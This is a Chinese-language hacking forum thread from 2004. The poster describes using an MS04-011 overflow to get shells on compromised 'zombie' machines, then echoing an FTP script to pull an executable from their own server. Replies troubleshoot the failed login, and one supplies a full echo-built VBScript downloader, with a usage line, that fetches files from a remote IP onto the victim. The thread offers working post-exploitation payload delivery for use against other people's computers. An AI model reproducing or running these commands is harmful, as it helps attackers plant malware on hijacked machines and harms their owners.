|
![]() | 作者: qscy [qscy]
![]() |
登录 |
用ms04011程序溢出成功后在SHELL中用以下命令: echo open xxx.51.net >ftp.txt echo 用户名 >>ftp.txt echo 密码 >>ftp.txt echo get xxx.exe >>ftp.txt echo bye >>ftp.txt 然后ftp -s:ftp.txt 结果却显示如下: c:\winnt\system32>ftp -s:ftp.txt ftp -s:ftp.txt user <xxx.51.net:<none>>open xxx.51.net Login incorrect. Login failed. Invalid command ………… 试过好几台肉鸡都是这样,而同样的程序在我自己的机子上却可以正确执行,真是郁闷!请高手帮忙解答一下,多谢啦! |
地主 发表时间: 04-06-15 10:48 |
![]() | 回复: lijingxi [lijingxi] ![]() |
登录 |
登陆失败 登陆错误 命令错误! 好象是这个意思! |
B1层 发表时间: 04-06-15 18:19 |
![]() | 回复: chiru [chiru] ![]() |
登录 |
不用域名,直接用ip地址来访问试试 |
B2层 发表时间: 04-06-16 11:23 |
![]() | 回复: Frankiez [frankiez84] ![]() |
登录 |
请确认你没有设IP规则或用防火墙限制了外来IP对本地FTP的访问 |
B3层 发表时间: 04-06-17 12:09 |
![]() | 回复: jjd617 [jjd617] ![]() |
登录 |
一楼的没错!1 |
B4层 发表时间: 04-06-17 15:07 |
![]() | 回复: lijingxi [lijingxi] ![]() |
登录 |
建议楼主换一个下载方式看看!比如: echo On Error Resume Next >>c:\pop.vbs echo Dim iRemote,iLocal >>c:\pop.vbs echo iLocal = LCase(WScript.Arguments(1)) >>c:\pop.vbs echo iRemote = LCase(WScript.Arguments(0)) >>c:\pop.vbs echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>c:\pop.vbs echo xPost.Open "GET",iRemote,0 >>c:\pop.vbs echo xPost.Send() >>c:\pop.vbs echo Set sGet = CreateObject("ADODB.Stream") >>c:\pop.vbs echo sGet.Mode = 3 >>c:\pop.vbs echo sGet.Type = 1 >>c:\pop.vbs echo sGet.Open() >>c:\pop.vbs echo sGet.Write(xPost.responseBody) >>c:\pop.vbs echo sGet.SaveToFile iLocal,2 >>c:\pop.vbs 执行以上代码以后就可以下载文件了! 例如: c:\winnt\system32\cscript.exe c:\pop.vbs http:\\***.***.***.***\文件名.扩展名 c:\winnt\system32\文件名.扩展名 |
B5层 发表时间: 04-06-18 12:53 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号